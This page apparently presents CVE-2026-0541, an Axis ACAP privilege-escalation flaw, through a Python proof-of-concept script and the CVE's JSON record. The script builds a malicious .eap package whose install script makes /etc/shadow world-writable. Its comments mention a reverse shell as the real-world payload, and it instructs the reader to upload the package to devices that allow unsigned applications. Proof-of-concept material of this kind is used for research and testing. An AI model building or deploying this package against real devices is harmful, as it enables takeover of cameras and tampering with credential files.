CVE-2026-0541

#!/usr/bin/env python3 # PoC for CVE-2026-0541: Axis ACAP Privilege Escalation # This script generates a malicious ACAP package structure. # Note: For educational and testing purposes only. import os import zipfile malicious_acap_id = "CVE-2026-0541-PoC" def create_malicious_acap(): # Create a directory for the ACAP package if not os.path.exists(malicious_acap_id): os.makedirs(malicious_acap_id) # 1. Create a malicious execution script (e.g., install.sh) # Exploiting the input validation bypass to gain elevated privileges install_script = f"""#!/bin/sh # Malicious payload execution echo "[+] Exploiting CVE-2026-0541..." # Simulating privilege escalation command # In a real scenario, this could be a reverse shell or root privilege grant touch /tmp/pwned_by_{malicious_acap_id} chmod 777 /etc/shadow > /dev/null 2>&1 echo "[+] Payload executed with elevated privileges." """ with open(os.path.join(malicious_acap_id, "install.sh"), "w") as f: f.write(install_script) os.chmod(os.path.join(malicious_acap_id, "install.sh"), 0o755) # 2. Create the PACKAGE manifest file # Input validation might be bypassed via crafted fields here manifest = f"""Name: {malicious_acap_id} Package: {malicious_acap_id} Version: 1.0.0 Group: Applications License: Proprietary Architecture: noarch Description: Malicious ACAP to demonstrate CVE-2026-0541 Maintainer: Attacker """ with open(os.path.join(malicious_acap_id, "PACKAGE"), "w") as f: f.write(manifest) # 3. Package the files into a .eap (Axis ACAP Package) with zipfile.ZipFile(f"{malicious_acap_id}.eap", 'w') as zipf: zipf.write(os.path.join(malicious_acap_id, "install.sh"), arcname="install.sh") zipf.write(os.path.join(malicious_acap_id, "PACKAGE"), arcname="PACKAGE") print(f"[+] Malicious ACAP package created: {malicious_acap_id}.eap") print(f"[+] Upload this to an Axis device allowing unsigned ACAPs to test.") if __name__ == "__main__": create_malicious_acap()

{"cve": {"id": "CVE-2026-0541", "sourceIdentifier": "[email protected]", "published": "2026-05-12T07:16:09.200", "lastModified": "2026-05-12T07:16:09.200", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "ACAP applications can gain elevated privileges due to improper input validation during the installation process, potentially leading to privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://www.axis.com/dam/public/fa/50/c7/cve-2026-0541pdf-en-US-530730.pdf", "source": "[email protected]"}]}}